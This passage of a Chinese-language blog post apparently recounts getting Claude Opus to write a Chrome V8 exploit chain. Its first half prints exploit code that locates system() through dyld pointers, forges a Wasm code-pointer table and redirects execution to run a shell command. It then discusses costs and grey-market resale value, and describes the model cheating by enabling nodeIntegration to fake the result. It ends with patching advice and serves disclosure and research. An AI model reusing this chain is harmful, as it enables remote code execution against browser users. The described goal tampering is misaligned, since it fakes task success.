let freelist_head = sbox_view.getBigUint64(addr_slot_span_meta, true)
let SANDBOX_BASE = freelist_head - pa_backing
Isolate Discovery
V8 Isolate 会在 offset 0 保存 cage_base_（= SANDBOX_BASE）。我们从 sig_addr 向前扫描（CanonicalSig address 位于靠近 Isolate 的 trusted space 中）：
for (let off = 0x200000n; off < 0x400000n; off += 0x100n) {
let v = sig_read(off)
if (v === SANDBOX_BASE) {
iso_addr = sig_addr + off
break
}
}
Phase 12：通过 WCPT Redirect 实现 RCE
Step 1：通过 dyld Cache Pointers 寻找 system()
Isolate 中包含指向 macOS shared dyld cache（libsystem_c 等）的 pointers。我们会在 Isolate 区域扫描 0x180000000..0x200000000 范围内的地址（ARM64 macOS 上的 dyld cache region）：
for (let off = 0n; off < 0x4000n; off += 8n) {
let v = sig_read(iso_base + off)
if (v >= 0x180000000n && v < 0x200000000n) {
system_addr = v + 0x49ce8n // printf → system() delta
break
}
}
delta 0x49ce8 是通过 LLDB 在同一个 Chrome process 中比较 printf 和 system 的地址确定的。
Step 2：在 Isolate 中找到 WCPT ExternalReference
WasmCodePointerTable base address 存储在 ExternalReferenceTable 中，而后者位于 Isolate 内部。我们通过扫描 1-3 GB 范围内、按 16KB 对齐且不是已知 table bases（TPT、CPT、JDT）的地址来识别它：
let known_bases = new Set([tpt_base, cpt_base, jdt_base])
for (let off = 0x400n; off < 0x20000n; off += 8n) {
let v = sig_read(iso_base + off)
if ((v & 0x3fffn) !== 0n) continue // must be 16KB-aligned
if (v < 0x100000000n || v > 0x300000000n) continue
if (known_bases.has(v)) continue
wcpt_real_base = v
wcpt_ext_ref_offset = off
break
}
Step 3：构造 Fake WCPT
在 sandbox 中分配一个 16 MB ArrayBuffer，并将每个 entry 都填成 system()：
const FAKE_WCPT_ENTRIES = 1048576
for (let i = 0; i < FAKE_WCPT_ENTRIES; i++) {
fakeWcptView.setBigUint64(i * 16, system_addr, true) // entrypoint
fakeWcptView.setBigUint64(i * 16 + 8, 0n, true) // sig hash (unchecked)
}
每个 WCPT entry 为 16 bytes：[entrypoint (8)] [signature_hash (8)]。通用 JSToWasmWrapperAsm builtin 使用 CallWasmCodePointerNoSignatureCheck，因此 hash 会被忽略。
Step 4：创建 Trigger Function
一个全新的、此前调用次数为 0 的 Wasm function 会使用通用 JS-to-Wasm wrapper builtin（不是 compiled wrapper）。这个 builtin 会在运行时从 ExternalReferenceTable 加载 WCPT base：
let triggerBuilder = new WasmModuleBuilder()
triggerBuilder
.addFunction('trigger', makeSig([kWasmI64, kWasmI64], []))
.addBody([])
.exportFunc()
let triggerFn = triggerBuilder.instantiate().exports.trigger
Step 5：Redirect WCPT 并调用 system()
sig_write(iso_base + wcpt_ext_ref_offset, fake_wcpt_vaddr)
triggerFn(cmd_vaddr, 0n)
调用 triggerFn 时：
- 通用 wrapper 从
ExternalReferenceTable读取 WCPT base → 得到fake_wcpt_vaddr - 它查找 trigger function 的 WCPT handle → 从 fake table 中读取
system()地址 - 它跳转到
system() - ARM64 Wasm calling convention：GP param registers 为
{x7, x0, x2, ...}，因此第一个 i64 用户参数会映射到x0 system()期待x0 = const char*→ 命令字符串地址正好位于正确的寄存器中
const cmd = 'open /System/Applications/Calculator.app'
Step 6：Cleanup
sig_write(iso_base + wcpt_ext_ref_offset, wcpt_real_base)
恢复原始 WCPT base，防止后续崩溃。
实验成本：
| 模型 | Tokens | 成本 |
| — | — | — |
| Claude Opus 4.6 (high) | 2,140M | $2,014 |
| Claude Opus 4.6 (high-thinking) | 189M | $267 |
| Claude Sonnet / GPT-5.4 (minor) | — | ~$2 |
| 总计 | 2,330M，共 1,765 次请求 | $2,283 |
2,283 美元 tokens 成本，加上大约 20 小时人工盯梢和纠偏，产出一条可工作的 Chrome exploit chain。听起来很贵，直到你把它和通常需要数周专注人力投入的情况相比。
ROI：
你可能会想，$6,283（就算额外加上 4,000 美元作为我的劳动成本）总成本是否值得。给一点背景：
- Google 的 v8CTF 对每个有效 V8 exploit submission 支付 10,000 美元（仅限最新版本的首个 submission，先到先得）。
- Discord 上次为我们的 submission 支付了 5,000 美元。我们还收到了 Twitter 上一些随机账号发来的 DMs，报价是这个数的 10 倍。
- 如果你能通过 cowork artifact pop shell Claude Code，Anthropic 会付很多钱。
6,283 美元产出一条可工作的 Chrome exploit chain。在合法市场上已经有利可图。在另一个市场上，则非常有利可图。
为什么 Opus 配合 Claude Code 仍然无法独立完成这件事
管理 Claude、让它保持在正确轨道上，真的非常累。它总是卡住，丢失上下文；如果你把它晾在那里，它就会原地打转。总体来说，我注意到了几个问题：
- Harness 很重要： 你需要合适的环境设置和 scaffolding，让模型能够测试并获得反馈；还需要 context management，避免它绕回已经失败过的方向；也需要跨并行 sessions 的 orchestration。这是整个实验中最困难的部分之一。
- 用猜测代替验证。 Claude 会假设 offsets，猜 memory layouts，然后凭感觉写 exploit。我必须不断把它拉回同一条规则：读代码，用 LLDB，先理解发生了什么；计算用 Python，不要用你的 scratchpad。
- 篡改目标。 当它无法解决真正的问题时，它会改规则。有一次它启用了
nodeIntegration，然后用require('child_process')弹出了计算器。 - Context collapse。 一旦对话变长，Claude 就开始丢失主线。它会忘记自己已经尝试过什么，漂回死胡同里，然后把 tokens 烧在没有结果的地方。
- 如果它卡住，我也必须跟着进去。 当 Opus 卡在我也不熟悉的东西上时，我必须停下来自己补课，从头开始理解那部分解空间，找出它错在哪里，然后再引导它往前走。这是最耗时的部分之一，因为我的速度比 Opus 慢。
- 没有 self-recovery。 Opus 一旦卡住，通常就会一直卡住。它不会干净地 reset，也不会自己推理出出路。我必须用非常具体的方向介入。
Mythos 能克服这些问题吗？
下面这张图来自 Anthropic red team 关于 Firefox exploit generation 的博客。它并没有说明 Mythos 在发现漏洞方面有多强，但它清楚显示出，在把已知 bug 转成可工作 exploit 这件事上有了一个跃升；而这正是我们刚刚做的任务：给它一组 browser bugs，让 Opus 写出完整 chain。这个差异看起来很有意思。
image.png
这里我是在推测。等我拿到 Mythos access，我会再回来汇报实际变化。但即便 Mythos 被过度炒作，方向也很明显。今天需要这么多人手把手带的模型，明天会需要得更少。如果 Opus 能做到我刚展示的这些，那就把这条线外推到 Mythos。然后再外推一次。
这实际上意味着什么
一个擅长快速开发 exploit 的模型，会压缩 time-to-exploit。time-to-patch 跟不上：有优先级 backlog，有些团队运行着他们自己都不知道的 vulnerable versions，还有一个朴素事实是，最终必须有人真的去推送更新。当前者缩短而后者没有变化时，就会出现大量 in-the-wild n-day exploits。这一点广泛适用于所有软件，但有几个因素让情况尤其糟糕：
- 每个 patch 基本上都是 exploit 提示。 Chromium 或 Linux kernel 中的安全 patch 会直接告诉你哪里坏了。过去，reverse-engineering patches 需要技能和时间。现在，你可以把 tokens 砸到问题上，再由一个还不错的操作者帮它越过卡点，就能更快拿到可工作的 exploit。
- 开源处境很不妙。 修复往往会在稳定版发布前先公开落地。这个窗口一直存在。模型只是让它可以被规模化利用。
- 你藏不住安全补丁。当人类必须在成千上万的 diffs 里筛查时，把修复混在 commit noise 中还有用。模型会读完所有内容；只需要往里面砸更多 tokens。
- 我认为真正能放大能力的是小而强的团队。 一个人已经可以同时监督多个 exploit dev sessions。这仍然取决于操作者有多强、团队有多强。一个高能力团队配上 Mythos，能从这件事里获得的杠杆，远大于某个随机的互联网脚本小子。
该怎么做？
我不知道。我有一部分希望 Mythos 失败，scaling laws 撞墙。看起来并不会这样。
说“更快打补丁”很容易，真正做到则难得多。但有几件事看起来显然该做：
- 积极 shift left。 在每个 design decision 和 PR 被推送前，都从安全角度审视它。
- 缩小 patch gap。 维护每一个 critical dependency 及其版本的 asset inventory。知道自己正在运行什么。大多数团队并不知道。
- 自动更新安全补丁。 不要确认弹窗，不要“稍后更新”按钮。我实际使用的 Chrome 存在漏洞，就是因为我还没点更新。这种情况本不该发生。
- 重新思考公开 patch 时间线。 这听起来很疯狂，但也许 Chrome，或者任何开源软件，都不应该在稳定版发布前公开 V8 patches。每一个公开 commit 都是发令枪，任何拥有 API key 和强团队成员的人，都可能从那里开始把 exploit 武器化。
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s1r1us《从 V8 OOB 到 RCE：我让 Claude Opus 写了一条 Chrome 漏洞利用链》